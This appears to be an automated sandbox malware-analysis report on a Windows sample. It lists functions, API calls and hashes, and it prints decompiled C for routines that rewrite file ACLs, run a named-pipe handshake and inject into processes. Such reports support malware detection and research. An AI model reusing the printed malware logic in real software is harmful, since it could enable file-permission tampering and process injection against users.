VirtualProtect.KERNEL32(00000040,00000000,?,0041A6B3,?,?,?,0041BA05,00400000,00000000,?,0000000A), ref: 00419EDE

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction ID: 2fcbfe794da57f3ecd4e0552fa92b34eae4c3e2dade8687ecbbc7c313487ee15
Opcode Fuzzy Hash: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction Fuzzy Hash: DC211A6854C7C0C9E302A738EE187453E969323769F1841A991951A2B2C7FB21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00419E55, Relevance: 3.0, APIs: 2, Instructions: 27librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00441768,?,0041A6B3,?,?,?,0041BA05,00400000,00000000,?,0000000A), ref: 00419E5F
VirtualProtect.KERNEL32(00000040,00000000,?,0041A6B3,?,?,?,0041BA05,00400000,00000000,?,0000000A), ref: 00419EDE

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 82a633f2534d16c45c60f2327092ccd695090fcf847dfee8cb31e8994e66e8ac
Instruction ID: d2e966f6e1cc1525238c765a2fb4a72efa8461b28f79f05b878ea475d2b1617c
Opcode Fuzzy Hash: 82a633f2534d16c45c60f2327092ccd695090fcf847dfee8cb31e8994e66e8ac
Instruction Fuzzy Hash: 4B01922840C3C0CDE302E738AE087413F96D727759F0801A9D1D51A2B2C7BA21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00429746, Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 00429755

Part of subcall function 00426700: ___crtCorExitProcess.LIBCMTD ref: 00426709

RtlAllocateHeap.NTDLL(0055B03C,00000000,00000001), ref: 00429788

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: e2fcfb614bd5b882e971da83f7ebbe871fb37b7090ce55e9d281137da18ce774
Instruction ID: dd875c2221c3da7c573f56c021904e733304b3ef87861d622f5c68ea3870d91d
Opcode Fuzzy Hash: e2fcfb614bd5b882e971da83f7ebbe871fb37b7090ce55e9d281137da18ce774
Instruction Fuzzy Hash: 57E0D878B00314EBEF10DF90F84ABBA3730DB94359F50817EE8061A2E0D2759D84DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00640DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,00640223,?,?), ref: 00640E02
SetErrorMode.KERNEL32(00000000,?,?,00640223,?,?), ref: 00640E07

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: b16f417b41d8b0f4b93d1b9c90a56b3c392543956db4f87de99d3384cb7f8a3e
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 3DD0123114512C77D7002F94DC09BCD7F1C9F05B66F008011FB0DD9181C770995046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0xbed19fc9
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0xbed19fc9
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00426E64, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426E7B
__nh_malloc_dbg.LIBCMTD ref: 00426FA7

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 8f449c448f9c673f854357c76727f7386c0080d39fe14f26e29359d1f9b71cb4
Instruction ID: e04a4c3d31603a1a7b7d0ba0edc0f32cd0163346c46a0f6e243fad672b6c3a99
Opcode Fuzzy Hash: 8f449c448f9c673f854357c76727f7386c0080d39fe14f26e29359d1f9b71cb4
Instruction Fuzzy Hash: 67E0DFB1F88308EADB308BA5AC03758B720EB44734F60836FE635262C1EA7904008B0D

Uniqueness

Uniqueness Score: -1.00%

Function 00424910, Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00424917

Part of subcall function 00424840: __crt_wait_module_handle.LIBCMTD ref: 0042488C
Part of subcall function 00424840: RtlEncodePointer.NTDLL(?), ref: 004248C7

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 89b36ec1a59378370c12e09f57c9482a8b86b0bd558ccbd11442d5ed852690b1
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 54A0126654424823D04030833803B03350C83C1638E490021F50C061422842A4104097

Uniqueness

Uniqueness Score: -1.00%

Function 0041B880, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041B885

Part of subcall function 0041B8A0: _check_managed_app.LIBCMTD ref: 0041B91C
Part of subcall function 0041B8A0: __heap_init.LIBCMTD ref: 0041B926
Part of subcall function 0041B8A0: _fast_error_exit.LIBCMTD ref: 0041B934
Part of subcall function 0041B8A0: __mtinit.LIBCMTD ref: 0041B93C
Part of subcall function 0041B8A0: _fast_error_exit.LIBCMTD ref: 0041B947
Part of subcall function 0041B8A0: __RTC_Initialize.LIBCMTD ref: 0041B959
Part of subcall function 0041B8A0: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B982
Part of subcall function 0041B8A0: ___wsetargv.LIBCMTD ref: 0041B98C
Part of subcall function 0041B8A0: __wsetenvp.LIBCMTD ref: 0041B99F
Part of subcall function 0041B8A0: __cinit.LIBCMTD ref: 0041B9B4
Part of subcall function 0041B8A0: __wwincmdln.LIBCMTD ref: 0041B9D1

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: 9286cf20ad67601d5e441a48ba3af05b32bf4136b755c0c88e723378bc028be7
Instruction ID: f7b396a02d2c70c205db5667291e76998da6109efcfdf11f9f0a324bbce1435a
Opcode Fuzzy Hash: 9286cf20ad67601d5e441a48ba3af05b32bf4136b755c0c88e723378bc028be7
Instruction Fuzzy Hash: 47A0023214566C16455033F73847A5E764E9CD4B2C7E5406FF51C065039D5DA89240EE

Uniqueness

Uniqueness Score: -1.00%

Function 00640920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00640929

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction ID: 30f3d7182eefe4c983e93399632d1765ae8032794c4adb82b9e2ac84a56656d9
Opcode Fuzzy Hash: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction Fuzzy Hash: EE90026074415011D82025AC0C02B0500121751634F344B107130AD1E4D840D6400115

Uniqueness

Uniqueness Score: -1.00%

Function 00419EE6, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,0041A49B,?,?,?,?,0041BA05,00400000,00000000,?,0000000A), ref: 00419EEE

Memory Dump Source

Source File: 00000016.00000002.462651075.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_415000_BE39.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction ID: e90401dc1b2c122d05c12a740f464d47e5f9c7e426064232dd3deca42c89b7c0
Opcode Fuzzy Hash: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction Fuzzy Hash: 03B011F000A3008BCB020FA0AE08B803BA2B308B23F000222E300A02B2CBB20000AB0A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32 ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32 ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32 ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32 ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 006465CC, Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 006465DF
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 006465F9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 0064661A
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 0064663B

Memory Dump Source

Source File: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_640000_BE39.jbxd

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: 24178896fc760ef304b8fce2259260c622b442f950c170f50b0451754450278b
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: AA11A371600218BFDB218F65DC49FDB3FA9EB057A9F114024F908E7290D7B1DD0086A5

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
